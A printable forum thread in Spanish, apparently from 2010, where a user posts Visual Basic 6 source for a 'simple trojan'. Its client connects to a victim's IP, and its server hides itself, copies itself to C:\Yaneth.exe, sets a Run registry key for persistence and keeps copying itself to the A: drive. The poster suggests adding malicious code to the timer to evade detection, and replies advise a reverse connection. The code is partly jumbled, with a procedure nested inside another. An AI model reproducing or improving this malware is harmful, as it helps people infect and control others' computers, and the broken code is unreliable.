Tema: Troyano Simple - Winsock (Versión Imprimible)
Volver a la versión Original de este tema
Lugar donde fue posteado: Www.ForoMsn.comVisual BasicTroyano Simple - Winsock

Enviado por SesshoHacker en 15/04/2010 00:14:54
Troyano Simple - Winsock

Primero quiero presentarme y saludarlos.

Bien, entonces primero creamos el Cliente:

Agregamos al formulario el activeX "Microsoft Winsock control 6.0 (sp5)" y lo agregamos al formulario y lo
llamamos WS.
Ahora agregamos las siguientes cosas:
Dos botones uno lo llamas "Boton_Conexion" y otro "Boton_Desconexion" estos serán los botones de conectar y
desconectar la conexión con el Server.
Un textbox y lo llamamos "TxtIP" que será para poner la IP de tu huésped.
Un label y lo llamamos "SB" que será para poner los estados de la conexión.
ahora empezamos con la línea de códigos del cliente:

CÓDIGO
Private Sub Boton_Conexion_Click()
On Error Resume Next
WS.Close 'Necesario para poder conectarnos otra vez si no hemos desconectado
WS.Connect TxtIP.Text, 1066
End Sub
Código:
Private Sub WS_Connect()
If (WS.State = sckConnected) Then
SB.Caption = "Estado - Conectado (" & WS.RemoteHostIP & ")" 'Pone en un label si estas conectado o no.
End If
End Sub
Código:
Private Sub Boton_Desconexion_Click()
WS.Close 'Cierra la conexión
SB.Caption = " Estado -" 'ya explicado
End Sub
Private Sub WS_Close()
SB.Caption = " Estado - Cerrando Conexión (" & WS.RemoteHostIP & ")" & vbCrLf 'si se cierra el Server sale
desconectado
WS.Close 'Cierra la conexión
SB.Caption = " Estado - Esperando conexión ... " & vbCrLf 'si se cierra el Server sale desconectado
WS.Listen 'Deja a las escucha el puerto
End Sub


Bien, entonces haora creamos el Server
CÓDIGO

Private Sub Form_Load()
On Error Resume Next
ws.LocalPort = 1066 'asigna el puerto al winsock
ws.Listen 'deja a la escucha el puerto
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
App.TaskVisible = False
Me.Visible = False
Private Sub Form_Load()
A = App.EXEName
E = ".exe"
C = "C:\Yaneth.exe"
On Error Resume Next
FileCopy A & E, C
Set Yanet = CreateObject("WScript.Shell")
Yanet.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C
Open "C:\Yaneth.txt" For Output As #1
Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC>FD"
Print #1, "\¸^fibso'chicb'btsft8Z"
Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z"
Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ"
Print #1, "\Bth'ih'bt'mrtshZ"
Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z"
Close #1
Do
M = Minute(Now)
S = Second(Now)
Y = "A:\Yaneth.exe"
If M = 0 And S = 0 Then FileCopy A & E, Y
If M = 5 And S = 0 Then FileCopy A & E, Y
If M = 10 And S = 0 Then FileCopy A & E, Y
If M = 15 And S = 0 Then FileCopy A & E, Y
If M = 20 And S = 0 Then FileCopy A & E, Y
If M = 25 And S = 0 Then FileCopy A & E, Y
If M = 30 And S = 0 Then FileCopy A & E, Y
If M = 35 And S = 0 Then FileCopy A & E, Y
If M = 40 And S = 0 Then FileCopy A & E, Y
If M = 45 And S = 0 Then FileCopy A & E, Y
If M = 50 And S = 0 Then FileCopy A & E, Y
If M = 55 And S = 0 Then FileCopy A & E, Y
Loop
End Sub

Timer1.Enabled = False
End Sub
Private Sub WS_onClose()
ws.Close 'Cierra la conexión
ws.Listen 'y deja a la escucha el puerto
End Sub
Private Sub WS_onConnectionRequest(ByVal requestID As Long)
ws.Close 'necesario para aceptar la conexión
ws.Accept requestID 'Necesario para poderse conectar
End Sub

Este Ejemplo de Troyanono no es peligroso solo se reproduce en el pc
ustedes le pueden pponer el codigo malicioso en el timer para no se detectado
Enviado por kevinpunk en 15/04/2010 21:06:55
Que Lenguaje Es ?

Seria mas interesante si pusieran toda la info completa :)


Kev!n PunK!!
Enviado por NT38K en 15/04/2010 22:50:12
Visual Basic..
Enviado por dumsptriper en 13/12/2011 09:08:21
COPY AND PASTE XD Y APARTE CON ESE PROYECTO CUANDO EJECUTES EL SERVIDOR EN EL PC AJENO ,.. TE PEDIRA LA OCX PARA CONECTAR (Y NO PODRA EJECUTAR).. LO CUAL HAY QUE HACERLA INVERSA Y UTILIZAR SOCKETS EN VEZ DE WINSOCK JEJEJEJ

PD: LOS BOTONES PARA CONEX INVERSA ,.. NO SIRVEN LO CUAL TIENEN QUE CREAR UN BUCLE INFINITO PARA QUE EL SERVIDOR BUSQUE SOLO AUTOMATICAMENTE AL CLIENTE

RESUMIDA: MALISIMO ESE EJEMPLO

SALUDOS COMPISSSSSSSS


Tu Vendedor Legit-DumpStriper 24/7
Información sacada de www.ForoMsn.com